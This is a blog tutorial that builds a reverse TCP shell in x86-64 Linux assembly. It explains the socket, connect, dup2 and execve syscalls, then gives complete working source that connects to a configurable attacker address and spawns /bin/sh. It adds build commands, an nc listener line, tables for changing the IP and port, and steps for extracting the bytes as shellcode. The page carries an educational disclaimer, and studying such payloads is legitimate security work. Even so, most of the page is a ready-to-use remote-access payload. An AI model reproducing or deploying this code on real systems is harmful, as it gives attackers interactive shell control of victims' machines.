Skip to content

Reverse TCP Shell

Reverse TCP shell implemented in x86-64 assembly. Using only syscalls, no dependencies.


Responsible use

The content of this website is published exclusively for educational and informational purposes. The author does not promote, endorse, or accept responsibility for any misuse or illegal use of the information presented here. Any action taken based on this content must be carried out only in controlled environments, on systems you own, or with explicit and verifiable authorization from the system owner.

Introduction

In a reverse shell it is the target machine that initiates the connection to the attacker, rather than the attacker connecting to the target machine. This is useful for evading firewalls that block incoming connections but allow outgoing ones.

Execution Flow

┌────────────┐      ┌──────────────────────┐      ┌─────────────────────────┐      ┌──────────────┐
│ socket(41) │──s──▶│ connect(42, s, A:P)  │─────▶│ dup2(33): 0,1,2  →  s   │─────▶│ execve(59)   │
└────────────┘      └──────────────────────┘      └─────────────────────────┘      └──────────────┘

            0 = (stdin) ──┐
            1 = (stdout)  ├──────────────► socket(s) ───────────────► ATTACKER (A:P)
            2 = (stderr) ─┘

Create TCP Socket

socket (no. 41 on Linux x86-64) creates a communication object in the kernel and returns a file descriptor (FD) to operate on it (connect, bind, listen, send/receive). Freshly created, it is only an object in memory identified by its FD. It has a family, type and protocol, but no IP address or port yet.

rax = 41         ; syscall number (socket)
rdi = domain     ; address family (AF_*)
rsi = type       ; socket type (SOCK_*), optionally OR'd with flags
rdx = protocol   ; protocol (0 = default)

Since the goal is to create a TCP/IPv4 socket, the arguments take the following values:

Register Value Meaning
RAX 41 Syscall number (socket)
RDI 2 AF_INET (IPv4 family)
RSI 1 SOCK_STREAM (TCP)
RDX 0 Protocol (0 = default)

The RAX register after the syscall contains the socket file descriptor. It becomes a real endpoint when an action is performed on it (bind, connect or accept).

Connect to the Attacker

connect (no. 42 on Linux x86-64) requests that a previously created socket establish a connection to a remote endpoint. In TCP/SOCK_STREAM, it initiates the TCP handshake (SYN → SYN/ACK → ACK).

rax = 42         ; syscall number (connect)
rdi = sockfd     ; FD of the socket (returned by socket())
rsi = addr       ; pointer to struct sockaddr (sockaddr_in / sockaddr_in6 / sockaddr_un, …)
rdx = addrlen    ; size of that struct (16 for sockaddr_in)

sockaddr_in structure

The sockaddr_in structure defines the remote endpoint and spans 16 bytes. We will build it directly on the stack by packing the values into a qword.

The field layout is as follows:

Field Bytes Value Meaning
sin_family 02 00 2 AF_INET
sin_port 11 5c 4444 Port in network byte order
sin_addr 7f 00 00 01 127.0.0.1 Destination IP
sin_zero 00 00 00 00 00 00 00 00 0 Padding (8 bytes)

The padding is pushed onto the stack first (8 zero bytes), then the qword containing family+port+IP (8 bytes), forming the total 16 bytes.

Redirect I/O

dup2 (no. 33 on Linux x86-64) duplicates an existing file descriptor (FD) onto another specific FD number, closing the target FD first if it was already open. After the call, both point to the same open file description (same offset and file status flags). It is fundamental for input/output redirections, allowing stdin/stdout/stderr to point to files, sockets or pipes.

rax = 33        ; syscall number (dup2)
rdi = oldfd     ; existing descriptor to duplicate
rsi = newfd     ; target descriptor number

dup2 is called three times to redirect stdin/stdout/stderr to the socket:

Iteration RSI Effect
1 0 stdin → socket
2 1 stdout → socket
3 2 stderr → socket

Execute Shell

execve (no. 59 on Linux x86-64) replaces the current process image with that of a new program. If it succeeds, execution continues in the code of the loaded program.

rax = 59             ; syscall number (execve)
rdi = filename       ; pointer to string with the path to the executable (C-string)
rsi = argv           ; pointer to array of pointers to C-strings (argv[0..n], NULL-terminated)
rdx = envp           ; pointer to array of pointers to C-strings (environment variables, NULL-terminated)

Since the goal is to execute /bin/sh on the target system:

Register Value Meaning
RAX 59 Syscall number (execve)
RDI pathname Pointer to "/bin/sh\0"
RSI argv Pointer to argument array (NULL)
RDX envp Pointer to environment array (NULL)

The arguments are pushed onto the stack: first the null-terminator, then the string, and then the NULL pointers for both argv and envp.

The string /bin/sh encodes as 2F 62 69 6E 2F 73 68 (7 bytes). To load it we will use the value 0x68732f6e69622f (little-endian). When pushed, the bytes are stored in memory in the correct order.

Customization

Changing the Destination IP

Each octet of the IP address is expressed in hexadecimal.

IP Value (Hex)
127.0.0.1 0x7F000001
192.168.1.1 0xC0A80101
192.168.18.245 0xC0A812F5
10.0.0.50 0x0A000032

Changing the Port

The port is stored in network byte order (big-endian).

Port Value (Hex)
4444 0x115c
8080 0x1f90
443 0x01BB
9001 0x2329

Full Code (rev_shell.asm)

section .text
global _start
_start:
    ; SOCKET
    mov rax, 41
    mov rdi, 2 ;IPV4
    mov rsi, 1 ;TCP
    xor rdx, rdx ; Default
    syscall
    ; Store socket FD
    mov r8, rax
    ; CONNECT
    mov rax, 42
    mov rdi, r8
                    ;   Stack        Low  <----------- High
    ; Expected layout: 02 00 11 5c 7F 00 00 01 00 00 00 00 00 00 00 00   
    ;                   └──┘  └──┘  └────────┘  └──────────────────────┘
    ;                   0-1   2-3   4-7         8-15         (16 bytes total)
    ;                   fam   port  IP          padding
    ; sockaddr_in field mapping:
                        ; Bytes 0-1:   02 00           → sin_family (AF_INET = 2)
                        ; Bytes 2-3:   11 5c           → sin_port (4444)
                        ; Bytes 4-7:   7f 00 00 01     → sin_addr (127.0.0.1)
                        ; Bytes 8-15:  00 00 00 00...  → sin_zero (padding)
    xor r9,r9 ; 0
    push r9 ; 64-bit zero padding (sin_zero)(8 bytes)
    mov r10, 0x0100007f5c110002
    push r10 ; sin_family + sin_port + sin_addr (8 bytes)
    mov rsi, rsp ; address of the top of the stack
    mov rdx, 16 ;IPV4 (expects 16 bytes)
    syscall
    xor rsi,rsi
.dup2:                        ; stdin(0), stdout(1), stderr(2) redirected to socket
    ;DUP2
    mov rax, 33
    mov rdi, r8
    syscall 
    inc rsi
    cmp rsi, 3
    jl .dup2
    ; EXECVE
    mov rax, 59
    push 0                       ; null terminator for /bin/sh -> /bin/sh\0
    mov r12, 0x68732f6e69622f    ; /bin/sh (2F 62 69 6E 2F 73 68) in little-endian
    push r12                     ; string /bin/sh
    mov rdi, rsp
    push 0                       ; argv = {NULL}
    mov rsi, rsp
    push 0                       ; envp = {NULL}
    mov rdx, rsp
    syscall 
.done:
    ; EXIT
    mov rax, 60                    ; syscall: exit
    xor rdi, rdi                   ; exit code = 0 (success)
    syscall

Building and Running

# Build
nasm -f elf64 rev_shell.asm -o rev_shell.o
ld rev_shell.o -o rev_shell

# On the attacker machine: start listener
nc -lvnp 4444

# On the target machine: run
./rev_shell

Extracting Bytes

# Extract only the .text section
objcopy -O binary --only-section=.text rev_shell rev_shell.bin

# Display bytes (C format)
xxd -i rev_shell.bin

# Check size
wc -c rev_shell.bin

Acknowledgements

Thanks for making it this far.

If you find errors or want to improve/extend the article, the blog content is open to Pull Requests. All contributions are welcome.

See you in the next article! ;)


See also

Process Injection via Ptrace - Uses an adapted version of this Reverse TCP Shell as the payload in Ptrace-based process injection